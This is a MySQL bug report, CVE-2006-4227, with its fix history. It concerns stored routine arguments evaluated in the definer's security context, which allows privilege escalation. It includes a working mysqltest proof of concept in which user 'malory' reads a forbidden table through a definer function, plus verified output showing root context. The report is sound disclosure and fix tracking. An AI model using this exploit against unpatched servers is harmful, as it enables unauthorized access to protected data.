Bug #18630 Arguments of suid routine calculated in wrong security context
Submitted: 29 Mar 2006 20:40 Modified: 15 Aug 2006 11:02
Reporter: Dmitry Lenev Email Updates:
Status: Closed Impact on me:
None 
Category:MySQL Server: Stored Routines Severity:S3 (Non-critical)
Version:5.0.21-bk OS:Linux (Linux)
Assigned to: Tomash Brechko CPU Architecture:Any

[29 Mar 2006 20:40] Dmitry Lenev
Description:
Arguments of suid routines should be calculated in security context of caller. Instead they are calculated in security context of routine's definer.
So user who has enough privileges to call suid routine may execute some code under privileges of suid-routine's definer (e.g. code containing DML statements/queries) and thus escalate his privileges.
See how to repeat section for more info.

How to repeat:
# Here is code for mysqltest program which shows the problem
--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
  returns int
  sql security invoker
begin
  set @a:= current_user();
  set @b:= (select count(*) from mysqltest2.t1);
  return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
[30 Mar 2006 13:07] Valeriy Kravchuk
Verified just as described with 5.021-BK (ChangeSet@1.2120, 2006-03-30 08:13:49+02:00) on Linux:

openxs@suse:~/dbs/5.0/mysql-test> ../bin/mysqltest -uroot test -r <t/bug18630.test
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;
use mysqltest2;
create table t1 (i int);
select * from mysqltest2.t1;
ERROR 42000: SELECT command denied to user 'malory'@'localhost' for table 't1'
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
select f_evil();
ERROR 42000: SELECT command denied to user 'malory'@'localhost' for table 't1'
select @a, @b;
@a      @b
malory@localhost        NULL
select test.f_suid(f_evil());
test.f_suid(f_evil())
0
select @a, @b;
@a      @b
root@localhost  0
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
ok
[28 Apr 2006 9:40] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/5677
[28 Apr 2006 10:57] Dmitry Lenev
The patch was commited by error and is not related to this bug.
[20 Jun 2006 12:11] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/7918
[5 Jul 2006 13:54] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/8767
[13 Jul 2006 13:12] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/9122
[2 Aug 2006 15:54] Konstantin Osipov
Pushed into 5.0.25
[14 Aug 2006 21:14] Konstantin Osipov
Merged into 5.1.12
[15 Aug 2006 11:02] Jon Stephens
Thank you for your bug report. This issue has been committed to our source repository of that product and will be incorporated into the next release.

If necessary, you can access the source repository and build the latest available version, including the bug fix. More information about accessing the source trees is available at

    http://dev.mysql.com/doc/en/installing-source.html

Documented security bugfix in 5.0.25 & 5.1.12 changelogs.
[28 Aug 2006 9:55] Christian Hammers
This bug has been registered at cve.mitre.org, please mention "CVE-2006-4227" in the changelog.
[28 Aug 2006 14:51] Paul DuBois
CVE number added to changelog entries (5.0.25, 5.1.12).